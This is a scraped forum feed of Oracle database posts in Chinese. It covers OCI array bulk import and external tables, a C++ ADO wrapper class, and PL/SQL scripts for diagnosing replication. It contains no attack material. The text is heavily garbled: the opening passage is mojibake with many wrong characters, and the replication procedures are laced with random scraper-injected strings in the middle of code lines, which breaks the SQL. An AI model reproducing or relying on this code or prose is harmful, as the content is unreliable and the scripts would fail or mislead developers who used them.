  正在Oracle V6 外 OCI 編程交心減進(jìn)了數(shù)組交心沉醉。數(shù)組操縱答應(yīng)導(dǎo)進(jìn)順序讀與中部白件數(shù)據(jù)并系析先,背降接SQL語(yǔ)句,批質(zhì)拔進(jìn) SQL 語(yǔ)句檢索入的數(shù)據(jù)。Oracle 僅需求施行一主 SQL 語(yǔ)句,然先正在外亡外批質(zhì)系析降求的數(shù)據(jù)。批質(zhì)導(dǎo)進(jìn)操縱比逐止拔進(jìn)沉單操縱更無(wú)消失,那非果為只需一主系析 SQL 語(yǔ)句,一些數(shù)據(jù)綁訂操縱以及順序取之間去來(lái)的操縱皆隱著加長(zhǎng),而且對(duì)于每一條數(shù)據(jù)的操縱皆非沉單否知的,那給降求了劣化施行的否能。其劣面非數(shù)據(jù)導(dǎo)進(jìn)的分體工夫亮隱加長(zhǎng),特地非入程占用 CPU 的工夫。
  需求降醉的非,經(jīng)過(guò) OCI 交心的確否以施行數(shù)據(jù)批質(zhì)導(dǎo)進(jìn)操縱,但非很多農(nóng)具戰(zhàn)足原言語(yǔ)卻沒(méi)有收持運(yùn)用彼過(guò)能。假如要運(yùn)用當(dāng)圓法,需求研討您所運(yùn)用的啟收農(nóng)具非可收持 OCI 批質(zhì)操縱過(guò)能。導(dǎo)進(jìn)順序需求入止單純的編碼并否能亡正在對(duì)誤的風(fēng)夷,短累必定的彈性。
  使用下述圓法,順序?qū)⒅胁繑?shù)據(jù)降與到外亡外的數(shù)組外,并施行批質(zhì)拔進(jìn)操縱(100止/主),保存了里的增除/沉修索引操縱,分的導(dǎo)進(jìn)工夫上落到 14 秒,而入程占用 CPU 的工夫上落到7秒,否睹真際導(dǎo)進(jìn)數(shù)據(jù)所破費(fèi)的工夫隱著上落了 95%。
  CREATE TABLE AS SELECT,運(yùn)用Oracle9i的External Table
   Oracle 9i 的一項(xiàng)舊沉醉便非 External Table,它便象一般的里一樣,具有字段戰(zhàn)數(shù)據(jù)類型束縛,并且否以查詢,但非里外的數(shù)據(jù)卻沒(méi)有亡儲(chǔ)正在外,而非正在取狹小聯(lián)的一般中部白件外。該您查詢 External Table 時(shí),Oracle 將系析當(dāng)白件并往來(lái)契合條件的數(shù)據(jù),便象當(dāng)數(shù)據(jù)亡儲(chǔ)正在里外一樣。
   需求留意的非,您否以正在查詢語(yǔ)句外將 External Table 取外其他里入止銜接(Join),但非沒(méi)有能給 External Table 減下索引,并且沒(méi)有能拔進(jìn)/更舊/增除數(shù)據(jù),究竟它沒(méi)有非實(shí)反的里。另中,假如取狹小聯(lián)的中部白件被改動(dòng)或者者被增除,那會(huì)影響到 External Table 往來(lái)查詢解因,所以正在變化后要后和挨招待。
]]>
Oracle上機(jī)試驗(yàn)報(bào)告http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2498&Page=1wangxinxin2010-12-11 10:58:44
以下內(nèi)容含腳本,或可能導(dǎo)致頁(yè)面不正常的代碼
說(shuō)明:上面顯示的是代碼內(nèi)容。您可以先檢查過(guò)代碼沒(méi)問(wèn)題,或修改之后再運(yùn)行.
]]>
Oracle 數(shù)據(jù)庫(kù)常用方法封裝類http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2497&Page=1wangxinxin2010-12-11 10:53:01#include <stdio.h>
#include <stdlib.h>

#pragma warning (disable:4251)
#pragma warning (disable:4313)

// 配置數(shù)據(jù)源必須頭文件
#include <odbcinst.h>
/*---------------------------------------------------------------------------*/
/*-------------------------- OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
/*
模塊名稱:OracleDataBaseCtrl.dll
版    本:0.1 Alpha
版    權(quán):
模塊功能:Oracle 數(shù)據(jù)庫(kù)操作類
作    者:wlzqi
作者郵箱:mailto:[email protected]
建立時(shí)間:2006年7月3日
最后修改:by wlzqi 2006年7月4日
修改歷程:
注意事項(xiàng):1.支持 UNICODE、ANSI 編碼
    2.當(dāng)使用 get_collect_value 方法時(shí),如果返回值是 NULL 則會(huì)發(fā)生異常,請(qǐng)注意處理。
備  注: 測(cè)試環(huán)境 WinXp + Vc 2003
使用舉例:
  ★// 定義對(duì)象
  COracleDataBaseCtrl m_OracleDataBase;
  ★// 1.打開(kāi)數(shù)據(jù)庫(kù)
  m_OracleDataBase.open_database(數(shù)據(jù)庫(kù)MDB文件路徑, 用戶名, 密碼);   // 如沒(méi)有用戶名和密碼可以不寫
  ★// 2.關(guān)閉數(shù)據(jù)庫(kù)
  m_OracleDataBase.close_database();
  ★// 3.打開(kāi)數(shù)據(jù)庫(kù)表
  // m_OracleDataBase.open_table(表名);
  ★// 4.刪除表
  m_OracleDataBase.del_table(表名);
  ★// 5.關(guān)閉數(shù)據(jù)庫(kù)表
  m_OracleDataBase.close_table();
  ★// 6.遍歷數(shù)據(jù)庫(kù)表
  PTSTR ptTableName;
  for (bool bfOk = m_OracleDataBase.first_table_name(ptTableName); bfOk; bfOk = m_OracleDataBase.next_table_name(ptTableName)) {
   if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) == 0) continue;
   // 得到表名
   MessageBox(ptTableName);
  }
  ★// 7.添加字段
  m_OracleDataBase.add_field(表名, 字段);  // 字段形式 _TEXT(\\\"Field1 INTEGER, Field2 INTEGER, ...\\\")
  ★// 8.刪除字段
  m_OracleDataBase.del_field(表名, 字段名);
  ★// 9.獲取字段數(shù)量
  int nFieldCount = m_OracleDataBase.get_field_count(表名);
  ★// 10.遍歷字段
  for (int i = 0; i < nFieldCount; i++) {
   PCTSTR pctFieldName = m_OracleDataBase.get_field_name(i, 表名);
   MessageBox(pctFieldName);
  }
  ★// 11.獲取字段類型
  DataTypeEnum FieldType;
  m_OracleDataBase.get_field_type(字段號(hào), FieldType);  // 字段號(hào):字段的序號(hào)(從 0 開(kāi)始)
  ★// 12.執(zhí)行 SQL 語(yǔ)句
  m_OracleDataBase.execute_sql(SQL 語(yǔ)句);
  ★// 13.獲取數(shù)據(jù)庫(kù)內(nèi)容
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT * FROM 表名\\\"));  // 查詢所有數(shù)據(jù)
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT COUNT(*) FROM 表名\\\"));  // 得到數(shù)據(jù)庫(kù)記錄條數(shù)
  _variant_t vtItemCount = m_OracleDataBase.get_collect_value(long(0));
  _bstr_t bsValue = vtItemCount;  // 將結(jié)果格式化為字符串
  ★// 14.遍歷數(shù)據(jù)庫(kù)所有內(nèi)容
  TCHAR szSQL[MAX_PATH];
  _stprintf(szSQL, _TEXT(\\\"SELECT * FROM %s\\\"), ptTableName);  // 格式化 SQL 語(yǔ)句
  m_OracleDataBase.execute_sql(szSQL);   // 執(zhí)行 SQL 語(yǔ)句
  m_OracleDataBase.first();  // 將游標(biāo)移動(dòng)到第一條數(shù)據(jù)
  _bstr_t bsValue;
  for (int i = 0; i < vtItemCount.intVal; i++) {    // 循環(huán)所用行
   if (m_OracleDataBase.Is_BOF() == 1) break;   // 如到了表最后則退出循環(huán)
   for (int j = 0; j < nFieldCount; j++) {   // 循環(huán)所有列
    variant_t vtValue = m_OracleDataBase.get_collect_value(long(j));  // 格式化得到的每列數(shù)據(jù)為字符串
    bsValue = _bstr_t(vtValue.vt == VT_NULL ? _TEXT(\\\"\\\") : vtValue.vt);
   }
   bfOk = m_AccessDataBaseCtrl.next();   // 移動(dòng)到下一列
  }
  ★// 15.刪除當(dāng)前行
  m_OracleDataBase.del_collect_value();
  ★// 16.注冊(cè)數(shù)據(jù)庫(kù)
  COracleDataBaseCtrl::Configuration_DataBaseSource(DNS, 數(shù)據(jù)庫(kù)DB文件路徑, 描述);
  ★// 17.其它還有一些請(qǐng)參:OracleDataBaseCtrl.h 文件
  ★// 18.反注冊(cè) COM   CoUninitialize();
*/
#pragma once

#pragma warning(disable:4146)
#import \\\"c:\\\\Program Files\\\\Common Files\\\\System\\\\ado\\\\Msado15.dll\\\" \\\\
no_namespace \\\\
rename (_TEXT(\\\"EOF\\\"), _TEXT(\\\"adoEOF\\\"))
#pragma warning(default:4146 )
 
 
#ifdef ORACLEDATABASECTRL_EXPORTS
#define ORACLEDATABASECTRL_API __declspec(dllexport)
#else
#define ORACLEDATABASECTRL_API __declspec(dllimport)
#endif
 

// 此類是從 OracleDataBaseCtrl.dll 導(dǎo)出的
class ORACLEDATABASECTRL_API COracleDataBaseCtrl {
public:
 COracleDataBaseCtrl(void);
 // TODO: 在此添加您的方法。
 ~COracleDataBaseCtrl();
 //****************************************************************************
private:
 _ConnectionPtr m_pConnection;
 _RecordsetPtr m_pRecordset;
 HRESULT hr;
 //****************************************************************************
public:
 // 打開(kāi)數(shù)據(jù)庫(kù)
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_database(PCTSTR pctsUser, PCTSTR pctsPass, PCTSTR pctsServer, long Options = adModeUnknown);
 // 斷開(kāi)數(shù)據(jù)庫(kù)
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_database();
 //****************************************************************************
 // 打開(kāi)表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 關(guān)閉表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_table();
 // 創(chuàng)建表創(chuàng)建表和字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT create_table(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 添加字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT add_field(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_field(PCTSTR pctsTableName, PCTSTR pctsFieldName, long Options = adCmdText);
 // 得到表的字段數(shù)量
 unsigned long get_field_count(PCTSTR pctsTableName);
 // 得到表的字段名
 PCTSTR get_field_name(unsigned long unFieldIndex, PCTSTR pctsTableName);
 // 得到字段的類型
 // 參數(shù):pFieldType [OUT] 字段類型
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT get_field_type(unsigned long unFieldIndex, DataTypeEnum &FieldType);
 // 遍歷所有表名(第一個(gè))
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯(cuò)或遍歷完畢
 bool first_table_name(PTSTR &ptsTableName);
 // 遍歷所有表名(下一個(gè))
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯(cuò)或遍歷完畢
 bool next_table_name(PTSTR &ptsTableName);
 //****************************************************************************
 // 執(zhí)行 SQL 語(yǔ)句
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT execute_sql(PCTSTR pctsSQL, long Options = adCmdText);
 // 是否到記錄集末端(0--沒(méi)有,1--是 -1--錯(cuò)誤)
 int Is_BOF(void);
 // 跳向前一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT prev(void);
 // 遍歷到第一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT first(void);
 // 遍歷到下個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT next(void);
 // 遍歷到最后一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT last(void);
 // 更新(確認(rèn))記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT update(void);
 // 重新查詢
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT reQuery(long Options = 0);
 // 記錄集是否為空(0--沒(méi)有,1--是 -1--錯(cuò)誤)
 int Is_Empty(void);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(PCTSTR pctsCollectName);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(long lCollectIndex);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(PCTSTR pctsCollectName, _variant_t vtValue);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(long lCollectIndex, _variant_t vtValue);
 // 刪除一行數(shù)據(jù)(當(dāng)前)
 bool del_collect_value();
 //****************************************************************************
 // 配置數(shù)據(jù)源
 static bool Configuration_DataBaseSource(PCTSTR pctDNS, PCTSTR pctDBPath, PCTSTR pctDescription);
};
/*---------------------------------------------------------------------------*/
/*-----------------------End OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
 
 
/*---------------------------------------------------------------------------*/
/*------------------------ OracleDataBaseCtrl.cpp ---------------------------*/
/*---------------------------------------------------------------------------*/
// OracleDataBaseCtrl.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
//
#include \\\"stdafx.h\\\"
#include \\\"OracleDataBaseCtrl.h\\\"

//****************************************************************************
// 數(shù)據(jù)庫(kù)表名
TCHAR * pszTableName;
// 數(shù)據(jù)庫(kù)字段名
TCHAR * pszFieldName;
//****************************************************************************
COracleDataBaseCtrl::COracleDataBaseCtrl()
: m_pConnection(NULL)
, m_pRecordset(NULL)
, hr(NULL)
{
 // 初始化COM
 if(FAILED(::CoInitialize(NULL))) return;
 pszTableName = (TCHAR *)malloc(MAX_PATH);
 if (pszTableName == NULL) return;
 pszFieldName = (TCHAR *)malloc(MAX_PATH);
 if (pszFieldName == NULL) return;
}
COracleDataBaseCtrl::~COracleDataBaseCtrl()
{
 // 反注冊(cè)COM
 CoUninitialize();
 if (pszTableName != NULL) free(pszTableName);
 if (pszFieldName != NULL) free(pszFieldName);
}
]]>
有關(guān)oracle高可靠性的一些討論和想法http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2496&Page=1wangxinxin2010-12-11 10:49:48Oracle 數(shù)據(jù)庫(kù)復(fù)制常用腳本 Oracle的數(shù)據(jù)復(fù)制是一個(gè)Oracle數(shù)據(jù)庫(kù)產(chǎn)品中比較成熟的一項(xiàng)技術(shù),它是整個(gè)分布式計(jì)算解決方案的一個(gè)重要組成部分。 對(duì)于具有復(fù)制環(huán)境的數(shù)據(jù)庫(kù)系統(tǒng),和Oracle DBA一樣,同樣要有一個(gè)人來(lái)專門負(fù)責(zé)維護(hù)Oracle的數(shù)據(jù)復(fù)制問(wèn)題,稱之為Oracle Replication Administrator(Oracle復(fù)制治理員)。本文就Oracle數(shù)據(jù)復(fù)制中復(fù)制治理員經(jīng)常關(guān)心的一些關(guān)于復(fù)制系統(tǒng)的問(wèn)題,編寫了不同的存儲(chǔ)過(guò)程。當(dāng)然,通過(guò)Oracle提供的復(fù)制治理器也可以達(dá)到這些目的,但在實(shí)際應(yīng)用中,Oracle復(fù)制治理器具有不靈活,速度慢,同時(shí)我們不能對(duì)其查詢結(jié)果進(jìn)行隨意控制等等的缺點(diǎn)。一、查看Oracle8x延遲事務(wù)隊(duì)列調(diào)用及調(diào)用個(gè)數(shù)IT我最牛-程序員的技術(shù)討論與分享園地U Zh:uwC*f [`
推(push)一個(gè)大的延遲事務(wù)(Deferred Transactions)隊(duì)列是非常慢的。一個(gè)常見(jiàn)的問(wèn)題就是一個(gè)事務(wù)中含有非常多的調(diào)用(calls)。假如系統(tǒng)檢測(cè)到一個(gè)錯(cuò)誤,如ora-01403(數(shù)據(jù)未找到錯(cuò)誤),也就是我們常說(shuō)的檢測(cè)到?jīng)_突,而且沒(méi)有沖突消除方法,寫到deferror錯(cuò)誤表和回滾事務(wù)的時(shí)間就會(huì)更長(zhǎng),事務(wù)中假如調(diào)用calls很多,則消耗在任何一個(gè)調(diào)用的時(shí)間就會(huì)以指數(shù)形式增長(zhǎng)。對(duì)于數(shù)據(jù)復(fù)制中每個(gè)事務(wù)的調(diào)用數(shù)Oracel強(qiáng)烈建議不超過(guò)50個(gè)。下面的存儲(chǔ)過(guò)程提供了一個(gè)快速查看延遲事務(wù)隊(duì)列中的事務(wù)列表以及每個(gè)事務(wù)中調(diào)用數(shù)的腳本。輸出是以傳輸順序排列的,這個(gè)順序就是事務(wù)將要傳播到主節(jié)點(diǎn)的順序。這對(duì)于確定傳播中的延遲以及掛起等是非常有幫助的。在搭建Oracle數(shù)據(jù)復(fù)制環(huán)境中,有一個(gè)經(jīng)驗(yàn)是值得注重的,那就是一定要設(shè)置沖突解決方案,即可使用Oracle系統(tǒng)提供的幾種方案,也可以自己編寫腳本來(lái)完成沖突處理。為什么這樣說(shuō),一定要設(shè)置沖突解決方案,也許我們可以說(shuō),我們的復(fù)制環(huán)境是一個(gè)單項(xiàng)復(fù)制,不可能出現(xiàn)沖突現(xiàn)象。在這里我講一個(gè)自己的親身經(jīng)歷的例子來(lái)說(shuō)明這個(gè)問(wèn)題,在實(shí)際工作中,我搭建了一個(gè)具有15個(gè)節(jié)點(diǎn)的高級(jí)復(fù)制環(huán)境,一個(gè)主定義節(jié)點(diǎn),14個(gè)主節(jié)點(diǎn),其中14個(gè)主節(jié)點(diǎn)向主定義節(jié)點(diǎn)單向傳遞數(shù)據(jù)。一般來(lái)講這種情況下不會(huì)出現(xiàn)沖突。但是在實(shí)際應(yīng)用中,問(wèn)題就出現(xiàn)了,其中幾個(gè)節(jié)點(diǎn)在傳輸了一些數(shù)據(jù)后,就掛(hang)了起來(lái)。所有可能查找的原因到查了,始終發(fā)現(xiàn)不了問(wèn)題的根結(jié)。最后發(fā)現(xiàn)是由于數(shù)據(jù)傳播到遠(yuǎn)程節(jié)點(diǎn)后,出現(xiàn)了錯(cuò)誤,而在該節(jié)點(diǎn)又沒(méi)有設(shè)置沖突解決方案,同時(shí)出現(xiàn)錯(cuò)誤的該事務(wù)又具有超過(guò)1000條的調(diào)用。其中有一條調(diào)用出錯(cuò)了,事務(wù)需要回滾,而這個(gè)在本地和遠(yuǎn)程節(jié)點(diǎn)間的回滾時(shí)間就會(huì)以幾何基數(shù)增長(zhǎng)。就出現(xiàn)了前面談到的系統(tǒng)掛起(hang)的表現(xiàn)。這也就是說(shuō)即是在根本不可能出現(xiàn)沖突的系統(tǒng)中,由于偶然的不定的錯(cuò)誤進(jìn)程,批量數(shù)據(jù)的處理以及沒(méi)有考慮復(fù)制情況下的數(shù)據(jù)導(dǎo)入都可造成在傳播過(guò)程中嚴(yán)重的性能問(wèn)題,最嚴(yán)重的情況就是系統(tǒng)掛起,不能完成正常的復(fù)制工作。最簡(jiǎn)單和有效的辦法就是在多路復(fù)制環(huán)境下設(shè)置一個(gè)系統(tǒng)確省的沖突處理方法來(lái)避免這種情況的發(fā)生。下面這個(gè)存儲(chǔ)過(guò)程就是在Oracle 8 環(huán)境下列出延遲事務(wù)隊(duì)列中的事務(wù)和事務(wù)中調(diào)用個(gè)數(shù)的腳本,該腳本對(duì)Oracle 7 不支持,這是因?yàn)镺racle 8 和Oracle 7 的復(fù)制機(jī)制發(fā)生了變化。存儲(chǔ)過(guò)程調(diào)用方法:在SQL/PLUS下,首先運(yùn)行下面的設(shè)置,使存儲(chǔ)過(guò)程的輸出到屏幕上, SET SERVEROUTPUT ON SIZE 200000IT我最牛-程序員的技術(shù)討論與分享園地 [QN1b/S{p
EXEC P_LIST_TRANSACTIONS(ORA_SJJK); 其中,存儲(chǔ)過(guò)程的參數(shù)as_destination為所要查看的事務(wù)傳播到目的節(jié)點(diǎn)的延遲隊(duì)列,為數(shù)據(jù)庫(kù)聯(lián)接(DBLINK)名。假如我們看到一個(gè)事務(wù)具有很多的調(diào)用(超過(guò)50個(gè)),這個(gè)事務(wù)很可能就是造成延遲事務(wù)隊(duì)列推過(guò)程延遲甚至是掛起的原因。附:存儲(chǔ)過(guò)程腳本:下載該腳本 CREATE OR REPLACE PROCEDURE REPADMIN.P_LIST_TRANSACTION(as_destination in VARCHAR2) ISIT我最牛-程序員的技術(shù)討論與分享園地.iF8N-]X)]
local_node VARCHAR2(128);
h}6G.w-Ynvo xm0remote_node VARCHAR2(128);
-rt;~'~S5t;H$_0last_scn NUMBER;
]-IYARd!C0last_tid VARCHAR2(22);
A(G:f1^/zEg0last_tdb VARCHAR2(128);
-k7e1jF8x~%Y2U0cnt NUMBER; CURSOR c(last_delivered NUMBER, last_tid VARCHAR2, last_tdb VARCHAR2) IS
%K} iw5^[email protected]#l_;Y0select cscn, enq_tid,
"mfj?wQPR?0dscn, DECODE(c.recipient_key, 0, 'D', 'R')IT我最牛-程序員的技術(shù)討論與分享園地"|T iM&C
from system.def$_aqcall c whereIT我最牛-程序員的技術(shù)討論與分享園地 ]7{z(V)Y r
(c.cscn >= last_delivered)
r3j^ qN(Q dJ0and ((c.cscn > last_delivered) or (c.enq_tid > last_tid))IT我最牛-程序員的技術(shù)討論與分享園地#cM`Sy2|z"J!mkd
and (IT我最牛-程序員的技術(shù)討論與分享園地 uGND5w^zK
( c.recipient_key = 0IT我最牛-程序員的技術(shù)討論與分享園地 S9X"R0rr [
and exists ( select /*+ index(cd def$_calldest_primary) */ nullIT我最牛-程序員的技術(shù)討論與分享園地)}6g9X,VW6rSI
from system.def$_calldest cd
Qu RoT0where cd.enq_tid = c.enq_tid
c:|F}H:U8H0and cd.dblink = remote_node ) )IT我最牛-程序員的技術(shù)討論與分享園地o:xlN-\~&RW
or ( c.recipient_key > 0
/n.C.U#x+@^r9i0and ( ( exists (
RJn1N X8L0select null from system.repcat$_repprop P
p0K"SHo0where P.dblink = remote_node
(v/@uPB S#Z+BK0and P.how = 1IT我最牛-程序員的技術(shù)討論與分享園地z8c/d,_dl:k)V z4v c?\)I
and P.recipient_key = c.recipient_keyIT我最牛-程序員的技術(shù)討論與分享園地8^#XZ esRGsV7@X
and ((P.delivery_order is NULL)
J,A8YJF&R.rk7i0or (P.delivery_order < c.cscn))))IT我最牛-程序員的技術(shù)討論與分享園地Q~QMzj2qu
or ( existsIT我最牛-程序員的技術(shù)討論與分享園地h0u!g4u`n]Fk
( select /*+ ordered use_nl(rp) */ nullIT我最牛-程序員的技術(shù)討論與分享園地xi7JU%o8k ?rK6^
from system.def$_aqcall cc, system.repcat$_repprop rp
]LI(_ iW*Lq0where cc.enq_tid = c.enq_tidIT我最牛-程序員的技術(shù)討論與分享園地 j L]1po+OO$}
and cc.cscn is null
DT:w:s K mV%Zi)e-eE0and rp.recipient_key = cc.recipient_key
T Sk,Q3Yi0and rp.how = 1IT我最牛-程序員的技術(shù)討論與分享園地#oJ'FE/m:oZ
and rp.dblink = remote_node
5Sq cXFi0and ((rp.delivery_order is NULL)IT我最牛-程序員的技術(shù)討論與分享園地W%i]?['Q H"w%c t6R
or (rp.delivery_order < c.cscn)))))))
)Jz,Z _.v8sKK0order by c.cscn, c.enq_tid;
-bX3g%})S0 BEGINIT我最牛-程序員的技術(shù)討論與分享園地cg;O {S;P,C
SELECT NLS_UPPER(global_name) INTO local_node FROM global_name;IT我最牛-程序員的技術(shù)討論與分享園地6V*YiVDf1V
SELECT dblink INTO remote_node from deftrandest
4rwJ,K)J%T#Vb0WHERE dblink LIKE UPPER (as_destination'%') AND ROWNUM < 2;IT我最牛-程序員的技術(shù)討論與分享園地Ot {l0Y3r
IF (remote_node IS NULL) THENIT我最牛-程序員的技術(shù)討論與分享園地 M0?+t&J!i7K7A
DBMS_OUTPUT.PUT_LINE ('不能確定目標(biāo)節(jié)點(diǎn),輸入?yún)?shù)有誤!');IT我最牛-程序員的技術(shù)討論與分享園地h!OAf1V!p$_%a\
RETURN;
J#| ~8K)\(~0ELSEIT我最牛-程序員的技術(shù)討論與分享園地r1TMy#X-ycB A
DBMS_OUTPUT.PUT_LINE ('延遲事務(wù)目標(biāo)節(jié)點(diǎn)為: 'remote_node);
}@3Q4B hX0QNU0DBMS_OUTPUT.PUT_LINE ('-------------------------------------------');
j#O*A.|9l*x't0END IF;
]Zu\p!M;oL0SELECT last_delivered, last_enq_tid, dblink
M+},sK&?kTW0yy0INTO last_scn, last_tid, last_tdbIT我最牛-程序員的技術(shù)討論與分享園地 K6p)_&{{.w9j\F'l
FROM system.def$_destinationIT我最牛-程序員的技術(shù)討論與分享園地1TReDRJ&S@M
WHERE dblink = remote_node; FOR R IN C(last_scn,last_tid,last_tdb) LOOP
/d7paN2i0SELECT count(*) INTO cnt FROM system.def$_aqcall WHERE enq_tid = r.enq_tid;
'ZsC8D&i1VPn0DBMS_OUTPUT.PUT_LINE ('延遲事務(wù) ID='r.enq_tid' 調(diào)用個(gè)數(shù)='to_char(cnt));
mCj!Dqr$Y/n#}0END LOOP;
rune`K0END;
9yy'z{9dB0/
@5wg:b|6{0  二、Oracle 8高級(jí)復(fù)制環(huán)境設(shè)置問(wèn)題診斷腳本要保證搭建的一個(gè)高級(jí)復(fù)制環(huán)境工作,必須保證所有的復(fù)制對(duì)象處于正常狀態(tài),對(duì)于一個(gè)高級(jí)復(fù)制環(huán)境,要檢查一個(gè)復(fù)制環(huán)境中是否所有對(duì)象均處于正常工作狀態(tài),需要檢查不同的系統(tǒng)字典對(duì)象,包括復(fù)制組對(duì)象,復(fù)制對(duì)象,復(fù)制方案對(duì)象等等。假如搭建的這個(gè)高級(jí)復(fù)制環(huán)境包含很多節(jié)點(diǎn),每個(gè)節(jié)點(diǎn)又包含幾個(gè)復(fù)制方案(schema)以及每個(gè)方案又包含多個(gè)復(fù)制對(duì)象,則完成一遍檢查需要作很多的重復(fù)工作,這里針對(duì)這個(gè)問(wèn)題,編寫了一個(gè)復(fù)制設(shè)置問(wèn)題診斷包,只有運(yùn)行該包中相應(yīng)的過(guò)程,即可完成對(duì)上面提到的相關(guān)對(duì)象的診斷,給出相應(yīng)診斷結(jié)果。運(yùn)行方法是,在SQL/PLUS環(huán)境下, SQL> spool <文件名>IT我最牛-程序員的技術(shù)討論與分享園地}M(~$p;~+u
SQL> set serveroutput on
Y'krMK/REE0SQL> exec rep_diag.rep_diag; 這里強(qiáng)調(diào)一點(diǎn),運(yùn)行該包的用戶,必須具有對(duì)系統(tǒng)字典表dba_repschema、dba_diagnose、dba_repcat以及dba_repcatlog的檢索(select)權(quán)限,當(dāng)然,復(fù)制治理員(RepAdmin)用戶是均有這些權(quán)限的。附:高級(jí)復(fù)制環(huán)境設(shè)置問(wèn)題診斷包腳本。下載該腳本 CREATE OR REPLACE PACKAGE REP_DIAG IS
RmHX+AO kyL0PROCEDURE REP_DIAG;IT我最牛-程序員的技術(shù)討論與分享園地} g W'f)wR*`3\4H
PROCEDURE REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地O L][Y'i:h
PROCEDURE REP_OBJECT;
?sl|$N)G*W0PROCEDURE REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地t(sw~2W%d,O ES3j
PROCEDURE REP_STAT;IT我最牛-程序員的技術(shù)討論與分享園地glC a aHf{f
END REP_DIAG;
9tosP r2i9iQ0/ CREATE OR REPLACE PACKAGE BODY REP_DIAG IS
%}GF'Ll%O3s0PROCEDURE REP_DIAG ISIT我最牛-程序員的技術(shù)討論與分享園地E^B3{9N(z.Q{
BEGINIT我最牛-程序員的技術(shù)討論與分享園地 q\ EDRj0w m
        REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地M-H3HX.F{
        REP_OBJECT;IT我最牛-程序員的技術(shù)討論與分享園地 s+]'[rz'w
        REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地l0nO9l q#K&L2o
        REP_STAT;       
mP"SO\0END REP_DIAG; PROCEDURE REP_SCHEMA ASIT我最牛-程序員的技術(shù)討論與分享園地)\)v7|aZZ
   CURSOR C_SCHEMA IS SELECT SNAME, DBLINK, MASTERDEFIT我最牛-程序員的技術(shù)討論與分享園地DQ$h#G;g1E:o'Xb
                FROM SYS.DBA_REPSCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地0zD+A pfcN[7L
BEGINIT我最牛-程序員的技術(shù)討論與分享園地Zr)Ci[5ij
        DBMS_OUTPUT.PUT_LINE('復(fù)制方案明細(xì)信息');IT我最牛-程序員的技術(shù)討論與分享園地v[!I](f
        DBMS_OUTPUT.PUT_LINE('-------------------------');
"ly?a a4V P ?W ww z%w0        FOR T_SCHEMA IN C_SCHEMA LOOP
(?&A[1uJ W:\/JA2w0                DBMS_OUTPUT.PUT_LINE('方案名稱:    'T_SCHEMA.SNAME);IT我最牛-程序員的技術(shù)討論與分享園地V"|+sC ZH6c
                DBMS_OUTPUT.PUT_LINE('是否為主定義節(jié)點(diǎn): 'T_SCHEMA.MASTERDEF);IT我最牛-程序員的技術(shù)討論與分享園地H9b2r}4U
                DBMS_OUTPUT.PUT_LINE('數(shù)據(jù)庫(kù)聯(lián)接名稱:    'T_SCHEMA.DBLINK);IT我最牛-程序員的技術(shù)討論與分享園地p+D6?J/mxl {(`5\*k
                DBMS_OUTPUT.PUT_LINE('.');IT我最牛-程序員的技術(shù)討論與分享園地]J,Cp7txXe5`
        END LOOP;
)p@P'v[0END REP_SCHEMA;
q5~:i"^ E?f? IN0 PROCEDURE REP_OBJECT AS
Q E-|1|bn.z0   CURSOR C_REP_OBJECT IS SELECT SNAME, ONAME, TYPE, STATUSIT我最牛-程序員的技術(shù)討論與分享園地 ?w.KLAU r V@^1m(B
   ]]>
oracle高可靠性的一些討論和想法http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2495&Page=1wangxinxin2010-12-11 10:46:58http://skyhorse.blogbus.com/logs/2004/03/106569.html
有關(guān)RAC的工作日志:
12月16日到12月23日做RAC的試驗(yàn)。12月24日把服務(wù)器交給QYC做DataGuard.
QYC做完DataGuard試驗(yàn)之后,1月4日我重新開(kāi)始做RAC的試驗(yàn)。
